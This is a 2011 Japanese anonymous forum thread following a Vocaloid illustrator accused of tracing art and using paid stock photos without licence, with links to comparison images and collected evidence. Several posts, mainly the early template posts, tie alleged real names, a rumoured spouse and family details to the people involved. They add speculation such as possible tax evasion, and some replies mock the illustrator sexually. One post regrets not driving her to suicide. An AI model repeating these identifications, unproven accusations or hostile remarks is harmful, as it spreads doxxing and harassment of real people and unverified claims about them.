したらばTOP ■掲示板に戻る■ 全部 1-100 最新50 | |
レス数が1スレッドの最大レス数(1000件)を超えています。残念ながら投稿することができません。

初音ミクPVで有名な「ゆのみP」が有料素材盗用★36

1 番組の途中ですが名無しです :2011/02/01(火) 18:27:19 ID:I47LkHzI
前スレ
初音ミクPVで有名な「ゆのみP」が有料素材盗用★35
http://jbbs.livedoor.jp/bbs/read.cgi/internet/7847/1291978560/

経緯
・2chヲチ板パクヲチスレにて、ニコ動に投稿されたボカロ曲PVに使用されている
 ゆのみP作イラストが他人のイラストからのパクリトレスであることが発覚
・同人イラスト集に収録されているイラストの一部に有料写真素材サイトの写真が
 サンプルロゴを消した状態で貼り付けられていることが判明
・ミュージシャンのアルバムジャケット模写→実はトレス
マイリスト:http://www.nicovideo.jp/mylist/12207166 (2010/8/30削除)
Twitter:http://twitter.com/yunomi_imonuy
検証用ロダ
http://loda.jp/yunomip/
検証画像の一部
http://or2.mobi/data/img/1815.jpg
http://or2.mobi/data/img/1816.jpg
http://or2.mobi/data/img/1817.jpg
http://or2.mobi/data/img/1822.gif
パクラレ元
風船:最安値 13,650円
http://imagenavi.jp/search/detail-i.asp?id=10933921
うさぎ:最安値 6,300円
http://imagenavi.jp/search/detail-i.asp?id=00002338
♂:最安値 13,650円
http://imagenavi.jp/search/detail-i.asp?id=10911552

まとめサイト
http://www26.atwiki.jp/yunomip/pages/1.html
http://www.nicovideo.jp/watch/sm11588910

2 番組の途中ですが名無しです :2011/02/01(火) 18:28:27 ID:I47LkHzI
oh...建った
めんどくさいからあとよろしく

3 番組の途中ですが名無しです :2011/02/02(水) 21:41:23 ID:tzThFYKo
>>2


まとめミラー ttp://d.hatena.ne.jp/yunomip/
公開質問 ttp://findher.blog114.fc2.com/
凸データベースttp://yunomipdatabase.blog135.fc2.com/

黙々と検証や検証候補画像相談はこっちの避難所
【ニコニコ絵師】ゆのみ(湯呑P)パク検証【写真トレス】 避難所
http://jbbs.livedoor.jp/otaku/14028/
【トレス絵師】ゆのみパク検証25【写真コラージュ】
http://kamome.2ch.net/test/read.cgi/net/1282716468/

4 番組の途中ですが名無しです :2011/02/02(水) 21:41:57 ID:tzThFYKo
587 :番組の途中ですが名無しです:2010/08/23(月) 19:08:02 ID:Tdt0o5aU
重ねgifはどうなのかとイメナビに質問の回答。
__________________________

ご質問頂いてております件でございますが、
重ね方や、ブランド毎の使用許諾契約にもよるので、一概には言えない状況でご
ざいます。個別の基準についてのお問い合わせには応じらない事をご了承下さい。

何卒宜しくお願いいたします。

> <お問い合わせ内容>
> 盗用検証wikiについて質問があります。
>
> 【ニコニコ絵師】ゆのみPパクリ検証【写真コラージュ】まとめwiki
> http://www26.atwiki.jp/yunomip/pages/1.html
> ■ 検証用アップローダー
> http://loda.jp/yunomip/
>
> 「盗用された画像」と「盗用した画像」を重ねた検証画像を
> アップすることは何か問題があるのでしょうか?
> なければアップした方が検証しやすいのですが、どうでしょうか?
http://up3.viploader.net/news/src/vlnews019826.gif

5 番組の途中ですが名無しです :2011/02/02(水) 21:54:55 ID:tzThFYKo
・大まかな流れ
ttp://bbs.nicovideo.jp/test/read.cgi/question/1280944420/

・ゆのみP
トレパクの女王として地位を築きつつある。
結婚そしてこれから新居へ引越しと順風満帆の人生を送るはずだったが、
7月末日にトレス情報が流れてそこから一気に大量のトレ/スが見つかり現在に至る
無断使用の額はイメナビだけでも100万近くにのぼっており、請求されれば10倍の1000万になる可能性がある
ブログは8月12日前後に謝罪文以外全て削除されている
ブログから連絡ができるメールフォームまでも削除されてしまっており、
他に公開されている連絡先がないので、こちらから意見を送る手段は現時点ではないようである
掲載されている謝罪文は何が問題なのかはっきりさせず、責任は活動自粛をするという事だけで濁している
ツィッターの方も何件か削除されているらしい
magnetの蝶については当事者間(盗作された方がゆのみに連絡をとった)で話し合って問題は解決しているが、
当時からゆのみPの著作権問題について意識の低さが浮き彫りになっている
自身が発行する同人誌については、同人業界のマナーとして奥付で記載すべきである連絡先と印刷会社名を明記してない
(脱税の可能性が高い?)
本人談で完全に独学で絵を始めて3年弱
発表しているイラストの殆どがトレス加工や貼り付けかセルフトレ/スである
ブログ
http://yunomi.blog.shinobi.jp/
ニコ動マイリスト
http://www.nicovideo.jp/mylist/12207166
過去のtwitter発言のまとめ
http://togetter.com/li/39920
ASCII.jpインタビュー記事
http://ascii.jp/elem/000/000/520/520752/
ゆのみPと思われるの歌声※迷言画像集付き
http://www.nicovideo.jp/watch/sm11741689
ゆのみ製作MAD【ネウロ】踊ってもらいました【手書き】
http://www.nicovideo.jp/watch/sm1631838
動画「コンビニ」にまつわる出来事
ttp://mad2.shiga-saku.net/e82779.html

6 番組の途中ですが名無しです :2011/02/02(水) 21:56:21 ID:tzThFYKo
ゆのみP周辺の人物

・古川保(古川P※名刺での振り仮名は[TAMOTSUFULLKAWA]となっている)=古茂田亮
ゆのみの旦那と噂され、トレパクの真相を知ってる人物
自称アートディレクター、自称ミュージシャン
ゆのみのイラスト集の製作を引き受けて販売を担う
著作権表示のミスによりその本の回収を古川が行うが、回収先を局留めにしてフリーアドレスで対応するなど不明点が多く
本を買った人から誠意のある対応をしろと言われて出した連絡先はゆのみ両親が住む住所で宛先はゆのみ母になっている
この様な不誠実な対応に疑問を持った購入者がいくつか要点をまとめた公開質問状を送ったが、
期限を過ぎても回答がないため無視した模様
古川の発言として「金ってどうやったら減るの?いくら使っても減らないんだけど」を残している
自身のブログで書いた結婚話をニコニコ生放送出演時に視聴者から話題に出されたらキレて放送を投げ出した事がある
過去にバンド「オクトパスピチ」に在籍
http://www.tsutaya.co.jp/works/20162388.html
http://www.joeufm.co.jp/guest/200404/02.html
ttp://nibi.jp/d/rida/1/0/noloop/041031011429.html
caravinaというサークルに所属し「東京日和」という作品を発表している
http://caravina.hp.infoseek.co.jp/
漫画:岩井昭之(伊藤ひろゆき)原作:古茂田亮 デザイン・装丁・編集:古茂田亮 ストーリー構成:古茂田亮・岩井昭之
ゆのみ騒動後に該当の日記が全て削除されており、今はキャッシュか魚拓でしか確認できない
http://megalodon.jp/2010-0813-0626-51/caravina.hp.infoseek.co.jp/index2.html
ヤングマガジンへ作品を投稿しており、ちばてつや賞 第59回ヤング部門 準優勝新人賞を受賞している
『おばけのゆうこ』作画:岩井昭之〈東京都・26歳〉原作:古茂田亮〈東京都・28歳〉
http://comic.bitway.ne.jp/kc/comic_tameshiyomi.html?isbn=978406KA00337&br=ym_chibaaward
ブログ
http://fhmq2.tumblr.com/
ニコ動マイリスト
http://www.nicovideo.jp/mylist/13226466
古川本舗
http://fhqm.tumblr.com/
ASCII.jpインタビュー記事
http://ascii.jp/elem/000/000/491/491929/
http://ascii.jp/elem/000/000/581/581767/
http://ascii.jp/elem/000/000/583/583025/

7 番組の途中ですが名無しです :2011/02/02(水) 21:57:47 ID:tzThFYKo
・シグナルP
ボーカロイド動画のプロデューサー
自身が手がけたボーカロイド動画(サンドリヨン)にゆのみが描いたイラストを使用するもディズニーからトレスをしていた事に
より問題が発覚し荒れる
他に「Prism feat.鏡音リン」を発表して販売しているが、こちらにもゆのみが描いたイラストを使用し、その一部が著作権侵害
を起こしている。権利元に確認中している最中でも、虎の穴に委託した物については最近まで販売自粛せずにそのままにしておいた。
HP
http://twinkledisc.net/
ニコ動マイリスト
http://www.nicovideo.jp/mylist/4370404
シグナルPの御尊顔 下田麻美ちゃんねる『Prism』メイキング#03
http://www.nicovideo.jp/watch/1241962648

・みなと(流星P)
ボーカロイド動画のプロディーサー
magnetの製作者である
この曲に使用されているゆのみPが手がけたイラストは曰く付きであり、現在動画は一時公開停止中になっている
magnetの蝶の問題に関してはゆのみとともに蝶の製作者と一緒に問題を話し合っている
ブログ
http://tolie618.blog63.fc2.com/
ニコ動マイリスト
http://www.nicovideo.jp/mylist/4348647

・cokesi(こけしP)
ボーカロイド動画のプロディーサー
発表している「no title」の動画にゆのみPのイラストを使用する
過去に発表した曲に盗作の疑いがかけられたが、動画説明文でそれを否定している
http://www.nicovideo.jp/watch/sm3348073
ニコ動マイリスト
http://www.nicovideo.jp/mylist/3463156

・だろめおん=田川雄一
ニコニコ動画にて描いてみたシリーズを上げている人物
ブログにてゆのみPの擁護と自身が過去にトレスとパクリをしてきた事を暗に綴る
http://pixiv.cc/studio-t/archives/2907219.html#comments
この記事の内容は
「ゆのみのやり方は3流以下だからだめで、自分のようにできるのが1流のイラストレーターである。
これからイラストレーターで名を上げたいやつは、俺みたいにばれないようトレス・パクリができるようになれ」
とも解釈できる。
第2のゆのみになるか、はたまた新しい道を作るのか今後の彼の行動に注目
多摩美術大学グラフィックデザイン学科卒業
イラストレーター アニメ作家 漫画家
職歴
A3チャンピオンズリーグ2007公式サイト -アニメ素材
NHK ETVワイド「”叱る”を考える」-挿入イラスト
NHK BS-Hi 「魔法のエピグラム2」-挿入アニメ
ブログ
http://pixiv.cc/studio-t/
ニコ動マイリスト
http://www.nicovideo.jp/mylist/19483877

・株式会社ドワンゴ
イラストレーターにゆのみPを起用し携帯用恋愛シミュレーションゲーム「大和彼氏」を8月10日から配信している
(これに関連してなのか不明だがニュース速報板でゆのみPの事に関してスレを立てるとすぐにスレスト、
または丸ごと削除され、現在でもスレッドを立てられない状況である)
料金システムが煩雑で分かりにくいせいで二重払いがおきやすいなど問題を抱えている
来年の3月までキャラクター配信スケジュールが組まれているが、
早くも「乙女ゲー的クソゲーオブザイヤー」にエントリーされている
ttp://www21.atwiki.jp/girls_games/pages/57.html
OPムービーに関して、D3 PUBLISHERの作品「VitaminZ」のOPと酷似していると公開当初から言われている
大和彼氏OP スライド瞬きショー 胴長胴画
http://www.nicovideo.jp/watch/sm11722018
VitaminZのOP
http://www.nicovideo.jp/watch/sm5955404

8 番組の途中ですが名無しです :2011/02/02(水) 22:03:58 ID:tzThFYKo
603 名前:名無しさん@お腹いっぱい。[] 投稿日:2010/08/25(水) 17:36:52 ID:mFQx28+j0
オクトパスピチの元メンバーのブログなんだけど
http://ameblo.jp/take87/entry-10627837226.html
これって古茂田こと古川の事を言ってるよな
説教たれるくらいなら逃げ回ってる古川に直接公開質問状にちゃんと答えろよって言ってくれればいいのにw


12 名前:番組の途中ですが名無しです[sage] 投稿日:2010/08/26(木) 13:35:07 ID:ftDjy0U. [1/2]
ivedoorニュース【トレビアン動画】今話題の名曲「コンビニ」ってなに?
http://news.livedoor.com/article/detail/3565612/

に対するゆのみブログ日記↓

>私はハチクロのオマージュなんてした覚えはまったくありません。
>個人のブログや日記ではなく、「ニュース」と銘打った企業のページに載せる記事なのですから
>こんないい加減なことを書かないで欲しいと感じました。

コメントくれた人へのレス↓

>私もおなじく何とも言いがたい気持ちでした。
>動画を見た人が「○○っぽいな・・・」という感想を持つのは、私の画力の問題なので
>仕方ないのですが、記事として紹介する文章に「ハチクロのオマージュ」と明言されたのには
>正直唖然としました。何て言うか・・・
>何勘違いしてやがる・・・・・・HA☆GAAAAAAAAA!!!!! っていうか。

>・・・すみません、ちょっと興☆奮☆していましました。
>記事は残念でしたが、ちゃんとわかって下さってる方がいるということが何より嬉しかったです^^
>どうぞまたいらしてください^o^ノシ


その動画のキャプ↓
http://loda.jp/yunomip/?id=1162.jpg

9 番組の途中ですが名無しです :2011/02/04(金) 03:52:03 ID:NxDqQyzw


10 番組の途中ですが名無しです :2011/02/04(金) 21:59:29 ID:FB3Ioy9A
乙だります

11 番組の途中ですが名無しです :2011/02/05(土) 19:10:42 ID:p2MUH/J2
前スレ荒らされてたのか古川に

12 番組の途中ですが名無しです :2011/02/05(土) 21:02:58 ID:0IPa7HfM
K5が古川だったら違う伝説が生まれるな

13 番組の途中ですが名無しです :2011/02/05(土) 23:06:57 ID:2HppXNTY
お前らに荒らしを非難する権利なんてない
湯呑さんの人生をメチャクチャに荒らしたくせに

14 番組の途中ですが名無しです :2011/02/05(土) 23:11:14 ID:Y7bqB/QA
あれくらいでメチャクチャとか随分と安っぽい人生なんですね

絵なんて描かなくたって死にはしねぇよw

15 番組の途中ですが名無しです :2011/02/06(日) 07:47:54 ID:Y3g9/K2M
>>13
この時点で湯呑は終わるべきだったんだよ

949 名前:番組の途中ですが名無しです[sage] 投稿日:2010/12/04(土) 17:00:21 ID:xKUpZsBI
身バレしてるブログに「おまえのくわえた顔が〜」とか元カレに書かれた女だからな
さすがに顔は隠すんじゃね?

16 番組の途中ですが名無しです :2011/02/06(日) 15:41:26 ID:XBpJdmEM
古川〜回収忘れてんのか

17 番組の途中ですが名無しです :2011/02/06(日) 16:02:12 ID:Ldje8ttU
>>16
本当に古川のことが好きだなあw

18 番組の途中ですが名無しです :2011/02/06(日) 18:16:15 ID:FquJbdkY
>>13
人のもの盗んで手に入れた人生なんて終わって当然
色々晒されたのはかわいそうだと思うけど
ゆのみは信者が思ってるほど有名人じゃない
新天地で結婚して主婦して勝ち組気取るんだろうから安心しろ

19 番組の途中ですが名無しです :2011/02/08(火) 16:51:44 ID:Q.4Y65l6
著作権偽装したのも不用意にネットに顔や本名さらしてたのも本人だよな?
全世界に公開してたんだから見つけられたのはしょうがないさ
身の丈以上の欲をかくとしっぺ返しくらいくらうよ 特に他人をないがしろにしたら

20 番組の途中ですが名無しです :2011/02/10(木) 10:55:03 ID:3Y3R3u.Q
オババとかいう超ベテランパクラー(推定50歳近い)が祭られてるな
ゆのみも将来こうなるのかな?

21 番組の途中ですが名無しです :2011/02/12(土) 17:37:07 ID:I2C54/jQ
ゆのみは今何やってんだろ、古川とは結婚したのかな

22 番組の途中ですが名無しです :2011/02/13(日) 10:20:36 ID:4wJEd6iQ
人気ボカロP"ハチ"スタジオリハーサル公開生放送!‐ニコニコインフォ
http://blog.nicovideo.jp/niconews/2011/02/011451.html

ボーカロイドPとして人気、実力ともにトップクラスの"ハチ"が
3月6日に品川ステラボールにて開催される
『INTERNET INDEPENDENT MUSIC LIVE FES』に、
ハチ(G&vocal)、ルシュカ(vocal)、キャプテンミライ(guitar)、
acane madder(key)、ゆーまお(Dr)に加え、
元石鹸屋のイガラシをベースに迎えたメンバーで出演が決定しました。

そして、今回、2月13日(日)22時から、
彼らが都内某所で行うスタジオリハーサルに完全密着生放送!

さらに、番組には、昨年末結成されたボカロPユニット"estlabo"から、
古川本舗、wowaka、とくがゲスト出演してくれます。お楽しみに。

23 番組の途中ですが名無しです :2011/02/13(日) 21:08:11 ID:af0P/STM
検証スレ落ちたな
4日が限界か

24 番組の途中ですが名無しです :2011/02/13(日) 22:40:14 ID:af0P/STM
規制中でスレ立ても書き込みもできないのでせめてテンプレ6の変更案を。
ロダのmagnet.zipの中身がなぜか歌ってみたのmp3だったんだが

■画像zip系
・カードキャプター弥子動画キャプ
http://loda.jp/yunomip/?id=540.zip
・BLOOD+ネウロとカードキャプター弥子動画キャプ一部
http://loda.jp/yunomip/?id=546.zip
・ベルばら風ネウロ動画キャプ
http://loda.jp/yunomip/?id=541.zip
・神無月の弥子動画キャプ
http://loda.jp/yunomip/?id=542.zip
・夏色☆キャンバス動画キャプ
http://loda.jp/yunomip/?id=545.zip
・VOCALOID SOUL動画キャプ
http://loda.jp/yunomip/?id=543.zip
・Just Be Friends画集1
http://loda.jp/yunomip/?id=536.zip
・Just Be Friends画集2
http://loda.jp/yunomip/?id=537.zip
・FINDHER(カメラの英文説明Pは無し)
http://loda.jp/yunomip/?id=539.zip

・うふふブログ
http://loda.jp/yunomip/?id=544.zip
・うふふブログ・ツイピク
ttp://l.moapi.net/http://www1.axfc.net/uploader/Si/so/80409.zip

25 番組の途中ですが名無しです :2011/02/13(日) 22:42:04 ID:af0P/STM
修正

■画像zip系
・カードキャプター弥子動画キャプ
http://loda.jp/yunomip/?id=540.zip
・BLOOD+ネウロとカードキャプター弥子動画キャプ一部
http://loda.jp/yunomip/?id=546.zip
・ベルばら風ネウロ動画キャプ
http://loda.jp/yunomip/?id=541.zip
・神無月の弥子動画キャプ
http://loda.jp/yunomip/?id=542.zip
・夏色☆キャンバス動画キャプ
http://loda.jp/yunomip/?id=545.zip
・VOCALOID SOUL動画キャプ
http://loda.jp/yunomip/?id=543.zip
・Just Be Friends画集1
http://loda.jp/yunomip/?id=536.zip
・Just Be Friends画集2
http://loda.jp/yunomip/?id=537.zip
・FINDHER(カメラの英文説明Pは無し)
http://loda.jp/yunomip/?id=539.zip

・うふふブログ
http://loda.jp/yunomip/?id=544.zip
・うふふブログ・ツイピク
ttp://www1.axfc.net/uploader/Si/so/80409.zip

26 番組の途中ですが名無しです :2011/02/14(月) 17:15:08 ID:WNmij4UY
テンプレ修正おつ
ドラマCDの延期×2ってゆのみ騒動が鎮火するのを待ってるのかな
実際次々スレ落ちてるし…
だがすでにゆのみの名はトレスコピペ含むパクラーの代名詞なんだけどな

27 番組の途中ですが名無しです :2011/02/14(月) 21:20:31 ID:x0P8tn6I
見てきたが間違ってあげたっぽいからロダのmagnet.zipは管理人さん見てたら早めに消してもらったほうがいいだろうな。
本人が忘れてる可能性もあるし。

検証ってやっぱ人がいなくて落ちたの?今残ってるのってここだけかな?

28 番組の途中ですが名無しです :2011/02/14(月) 21:33:10 ID:7lcQAGM.
専ロダのほとんどが消滅したのが痛いよな

29 番組の途中ですが名無しです :2011/02/14(月) 22:14:32 ID:shy6rooE
乙女スレは相変わらず平和でござる

乙女@【携帯】大和彼氏39胴目【ゆのみ】
http://yuzuru.2ch.net/test/read.cgi/ggirl/1296807542/

30 番組の途中ですが名無しです :2011/02/14(月) 22:16:08 ID:eF3G98WA
39胴目www

31 番組の途中ですが名無しです :2011/02/14(月) 22:16:44 ID:qBkfFUAU
大規模規制中って話だからそのせいもあると思う
ロダやっぱり画像あった方がいいのかな

32 番組の途中ですが名無しです :2011/02/15(火) 00:42:20 ID:46Y8n94w
見つかってないやつまだまだあったよな、それが欲しい
新たに来た人もロダにあれば探しやすいだろう
持ってる人いればロダにあげてほしい

33 番組の途中ですが名無しです :2011/02/15(火) 21:40:13 ID:.FFFg4FI
ロダの古いファイルで気になるの
http://loda.jp/yunomip/?id=305.jpg 別冊マーガレット投稿
http://loda.jp/yunomip/?id=359.jpg jbf画集 後付
http://loda.jp/yunomip/?id=407.jpg magnet fp 蝶だけ
http://loda.jp/yunomip/?id=152.jpg ナイトレイド特典クリアファイル かなり大きい画像
http://loda.jp/yunomip/?id=73.jpg findher ミク3見開きページ デジカメ撮り

34 番組の途中ですが名無しです :2011/02/16(水) 01:59:20 ID:Zh5voj02
ダイワ彼氏、配信済みストーリーのスチル
いつの間にか差し替えられてたらしいんだけど、
そーゆーのってよくあることなの?
ゲーム詳しい人教えて

35 番組の途中ですが名無しです :2011/02/16(水) 08:10:00 ID:k3giNwMg
ラブプラスのトレスで有名になった「ヒメこい」で差し替えがあったくらいしかしらない

36 番組の途中ですが名無しです :2011/02/16(水) 20:27:01 ID:hluRqwmU
>>34
もしかしてスチルじゃなくて立ち絵?
ずっと立ち絵にゆのみのキャラデザイラスト(一種)のみが使用されていたキャラがいたんだけど
新規差分立ち絵が追加されて、それに伴ってあちこち差し替えられてる
って状態は確認している
立ち絵自体ゆのみが描いているのかどうか分からないけど一応何点かロダにあがってるよ

37 番組の途中ですが名無しです :2011/02/16(水) 21:12:55 ID:vgVtUcWc
先生の立ち絵らしいけどどれだろう
>助けに来てくれた先生の立ち絵が公式キャラデザの能面じゃなくなってた
とあるから公式トップに流れてる絵のことか

38 番組の途中ですが名無しです :2011/02/16(水) 22:59:51 ID:hluRqwmU
>>37
ずっと公式トップの絵だったのが、一部
http://loda.jp/yunomip/?id=596.png
これの下段一番左に差し替えになってた

これに載ってるの全部今年に入ってから出た絵だけど
ゆのみが描いてるのかな?女の横顔は最初の配信時から変わっていない気がするけど

39 番組の途中ですが名無しです :2011/02/17(木) 03:22:53 ID:EYD2pza2
つまり、胴いうことだってばよ??

40 番組の途中ですが名無しです :2011/02/17(木) 22:17:31 ID:gZYkP8WY
なんで公式放置で本編だけ変わってるんだろうな

41 番組の途中ですが名無しです :2011/02/18(金) 23:28:40 ID:rRc.Acq.
ゆのみてんてーのキング絵酷いんだがwww

42 番組の途中ですが名無しです :2011/02/19(土) 01:01:20 ID:yxkWhcOI
ゆのみPの新作?

43 番組の途中ですが名無しです :2011/02/19(土) 01:16:48 ID:GVAu9D.c
>>42
新作というか、つい最近解禁された立ち絵ってだけ
大和彼氏OPムービーが出来た頃(8月)にはもうすでにあった絵っぽいし
活動再開の判断材料になるかどうかは微妙

44 番組の途中ですが名無しです :2011/02/19(土) 02:58:06 ID:VJiJaKtc
OP改めてちゃんと見てみると結構立ち絵のいろんな表情使ってあるんだな

45 番組の途中ですが名無しです :2011/02/20(日) 00:04:11 ID:6mXMPzrs
★36をウィキに貼ってくれると嬉しい

46 番組の途中ですが名無しです :2011/02/22(火) 20:04:13 ID:Vh46gme6
JBF動画版雪だるまの建物ラレ疑惑、加工が激しいから保留になってたけど
同じ画像が画集版雪だるまの地面部分に使われてるから動画版もこれで確定って事にならないかな
http://loda.jp/yunomip?id=620.jpg

あとは足成さん
jbf画集 雪だるまの石
向かって右の目→左真ん中 口右から2番目→真ん中 3番目→右少し上 4番目→右寄りの少し下 5番目→右寄りの上
他が見付けられないんだけど全部この中にあるんだろうか
http://loda.jp/yunomip/?id=350.jpg
ttp://www.ashinari.com/2009/06/14-022272.php
jbf画集 手に持った銀杏
http://loda.jp/yunomip/?id=354.jpg
ttp://www.ashinari.com/2008/11/27-010561.php
葉っぱ探してて見つけたMarygoldの手
http://loda.jp/yunomip/?id=621.jpg
ttp://www.ashinari.com/2009/07/22-024717.php

47 番組の途中ですが名無しです :2011/02/23(水) 03:38:44 ID:8LxPIakc
携帯チュウだからみえないけど乙

48 番組の途中ですが名無しです :2011/02/24(木) 02:57:31 ID:2DUkjCtA
【ニコニコ絵師】ゆのみパク検証2【写真トレス】
http://jbbs.livedoor.jp/bbs/read.cgi/otaku/14028/1284646238/

49 番組の途中ですが名無しです :2011/02/24(木) 12:55:15 ID:KZkId4nE
ゆのみ今なにしてんのかな〜
すっかり消えたね

50 番組の途中ですが名無しです :2011/02/25(金) 19:55:41 ID:wCKbNomY
>>46
銀杏と手は真っ黒だな 雪だるまは時間かかりそうだからまだ見てない
足成だから著作権的には問題ないだろうけど未だにコピペがみつかるのはすごい
乙乙

マリーゴールドの画像見たら写真のコピペだけで何も描いてなくて吹いたわwww

51 番組の途中ですが名無しです :2011/03/01(火) 00:09:40 ID:8lX6DJ66
ウィキ管もジャッスも飽きた解散も来ないしガチ終了だな

52 番組の途中ですが名無しです :2011/03/01(火) 00:27:05 ID:/VcEcnxI
終了されたら困るのでアップしとく
JBF動画 ツリー
http://loda.jp/yunomip/?id=624.jpg

フリー
JBF動画 木
http://loda.jp/yunomip/?id=625.jpg
ttp://www.ashinari.com/2008/10/25-009678.php
JBF画集 電車のドア部分
http://loda.jp/yunomip/?id=26.jpg
ttp://www.ashinari.com/2009/05/24-020786.php

53 番組の途中ですが名無しです :2011/03/01(火) 00:35:11 ID:/VcEcnxI
それとwikiは更新してあるよ

54 番組の途中ですが名無しです :2011/03/01(火) 19:53:29 ID:gYL3tbTg
いつ描かれたかは不明だが大和彼氏にきてた
ttp://yamakare.jp/_common/_image/special/wp01_king.jpg

ベルトが写真ぽい気もするが分からん

55 番組の途中ですが名無しです :2011/03/02(水) 05:00:44 ID:NQP6AWeo
手が描けないのね^^

56 番組の途中ですが名無しです :2011/03/02(水) 06:46:32 ID:xNybMyj.
安心と信頼の胴長

相変わらず気持ち悪い絵だ

57 番組の途中ですが名無しです :2011/03/05(土) 23:00:40 ID:Yfqf9gxw
こんな見せ方しないだろパンツ

58 番組の途中ですが名無しです :2011/03/06(日) 04:52:06 ID:jbU.Lwkg
ボカロPが集まってレーベル立ち上げた中に古川もいるらしいが
ゆのみもそのうちこっそり関わるのかねえ

59 番組の途中ですが名無しです :2011/03/06(日) 05:07:01 ID:f0brw6MM
ニコ厨は流行物には飛びつくが、廃れるのも速い
ましてや利権天国で斜陽化した音楽業界にしがみつく様じゃ先は短いと思うけどね

60 番組の途中ですが名無しです :2011/03/06(日) 11:39:49 ID:53LwJwmI
>>58
絡めないんじゃね?ゆのみを特別扱いしてこっそり関わらせるメリットが何もない
むしろ見つかった場合の被害が大きいよ。いろいろ周りの人も探られて
絵師はたくさんいるからなー

61 番組の途中ですが名無しです :2011/03/06(日) 13:47:17 ID:dCCUHNmk
>>58>>60
しれっと関わってそうだけどな。古川の嫁だし。
古川は否定してたようだが大嘘もいい所だ。

62 番組の途中ですが名無しです :2011/03/28(月) 01:32:49 ID:OEo2bBsQ
みんな生きてる?

63 番組の途中ですが名無しです :2011/03/28(月) 06:56:19 ID:l2nlnfbY

乙女のほうが楽しすぎてこっちは放置

64 番組の途中ですが名無しです :2011/03/28(月) 14:53:40 ID:k/PXy.1U
まだ家族からはちいたんって呼ばれてるの?w

65 番組の途中ですが名無しです :2011/03/28(月) 23:41:27 ID:yQNpT3I.
もう半年以上たつのか・・・

66 番組の途中ですが名無しです :2011/03/30(水) 16:27:20 ID:EmpYw2IE
ゆのみのCDジャケ絵楽しみにしてたのに……

67 番組の途中ですが名無しです :2011/03/30(水) 16:32:02 ID:uCOPbiGc
もうコメントも出ないだろうな

68 番組の途中ですが名無しです :2011/03/31(木) 12:58:44 ID:FyY4qnDA
結局ドワンゴ以外から干されたか

69 番組の途中ですが名無しです :2011/03/31(木) 13:54:23 ID:lTa5gJsQ
ドワンゴからも…

70 番組の途中ですが名無しです :2011/04/01(金) 08:16:11 ID:Ys402Xmk
今の日本に対して何が出来るんだろうってずっと考えていました
過ちを犯したけど、結局私に出来ることは絵を描くことだけ
それしか出来ないということに思い至りました
被災者の皆さんへのエールになればと思い描かせていただきました

とか何とか言って
震災応援イラスト描いてくるかと思った

71 番組の途中ですが名無しです :2011/04/01(金) 21:33:33 ID:3QCXK7qI
そういやニコ厨専用震災応援カラオケとかやったバカいたよね

>>70
自分がいかに井の中の蛙かってことを理解したんだろう
身内で持ち上げられて勘違いした奴の末路

72 番組の途中ですが名無しです :2011/04/08(金) 02:58:53 ID:NochiWtM
震災チャリティー詐欺やったっぽいボカロPがいるんだけど(イベントでCD買ってもらって出た収益は全額寄付しますってやつ)



http://plixi.com/p/87483221

同じ用紙で募金したと思われる画像
http://u.jimdo.com/www35/o/s39df4a4d0480e859/img/i2fffaa11271aeda3/1300955063/std/image.jpg

金額の先頭に¥マークがないんだよ。これだと改ざんし放題。
詳しいことわかる奴いないか

73 番組の途中ですが名無しです :2011/04/11(月) 02:05:30 ID:Jak5WLAs
>>72
詳しいことを聞こうとしてみたところ、とんだ地雷だったようだ。
http://togetter.com/li/122351

74 番組の途中ですが名無しです :2011/04/11(月) 02:24:44 ID:Ls7a5WH.
>>73
汚い言葉遣い

こんなのがちやほやされてるコミュじゃ程度が知れるね

75 番組の途中ですが名無しです :2011/04/11(月) 02:27:52 ID:9c6vhquY
「揚げ足取り」とか「重箱のすみをつつく」って単語見飽きたわwwww
なんていうか擁護のパターンがワンパターンすぎる

ほんと気持ち悪い

76 番組の途中ですが名無しです :2011/04/11(月) 22:14:56 ID:j5hX2GJc
久しぶりにきたがもうすっかり下火だな
震災でこんな小物のことは更に忘れさられた感じだが
焼き土下座か自殺まで追い込み掛けれなかったのが悔やまれる
それはそうと結局素材屋の見解ってどうなったんだ?
公式に何か発表した訳ではないのか?

77 番組の途中ですが名無しです :2011/04/11(月) 22:18:00 ID:sOCyHpUA
なーんもなし
ヤマカレドラマCDのジャケ絵は別人が描くことになっただけで、あとは何もない

78 番組の途中ですが名無しです :2011/04/14(木) 20:27:53 ID:wYqDLS8U
パクラーって懲りずにまたパクッたりすることが多い印象なんだけど
ゆのみは本当に他人の歌とかに乗っかってただけだから復活もできないんだろうなあ

79 番組の途中ですが名無しです :2011/04/15(金) 17:03:56 ID:OFNznMmw
wikiにはまだそこそこアクセスあるんだな
ここの様子でもう数人しか残ってないんじゃないかと思ってたが

80 番組の途中ですが名無しです :2011/04/16(土) 10:55:26 ID:WTPHqAuQ
古茂田共々ボカロから干された感じ?

81 番組の途中ですが名無しです :2011/04/18(月) 17:57:25 ID:GXq9i3qQ
古川がニコ生出てて思い出したので来てみた
まぁでもゆのみの知り合いには知れ渡ってるし、中々楽しい祭りだった
また何かやらかしたら来るわ

82 番組の途中ですが名無しです :2011/04/24(日) 03:15:07 ID:xm8LUEgY
まだこのスレあったのかw
すっかり忘れられてるな

83 番組の途中ですが名無しです :2011/04/24(日) 18:59:37 ID:nY9nCFFE
もうどうでもよくなったな…

84 番組の途中ですが名無しです :2011/04/24(日) 21:53:03 ID:K.SOAqQE
気になるのがあるからもうちょっと探したい

85 番組の途中ですが名無しです :2011/04/25(月) 01:37:16 ID:DYbRw.MQ
ツイッターで検索すると未だにちらほら話題になったりしてるよトレパクラー先生
地獄のミサワ→ゆのミサワ、JBF→動画非公開から知るのが多いかと

86 番組の途中ですが名無しです :2011/04/25(月) 01:50:28 ID:fHPYJ1do
乙女スレだけか、稼動しているのは
進展はないようだがゆのみが描いた女子の横顔がaaになっててふいた

87 番組の途中ですが名無しです :2011/04/25(月) 11:10:32 ID:ZlDwvLS.
古川はestlaboでフジテレビのタイアップ貰ったり元気にしてるじゃないか

88 番組の途中ですが名無しです :2011/04/27(水) 00:56:06 ID:VyGMx.zg
へー、世渡りうまいな興味ないけど
古川じゃないがアニメOPで何このクソ曲とおもってググったらニコニコで有名っぽい奴だったわ

89 番組の途中ですが名無しです :2011/05/01(日) 19:34:09 ID:5JYzwI7.
古川はしぶといな
まあ歳も歳だから今ある職にしがみついてないといけないからな

90 番組の途中ですが名無しです :2011/05/05(木) 16:26:05 ID:pahoWv46
この人今なにやってるの?
就職しちゃった?

91 番組の途中ですが名無しです :2011/05/12(木) 02:42:51 ID:nqvPPzoI
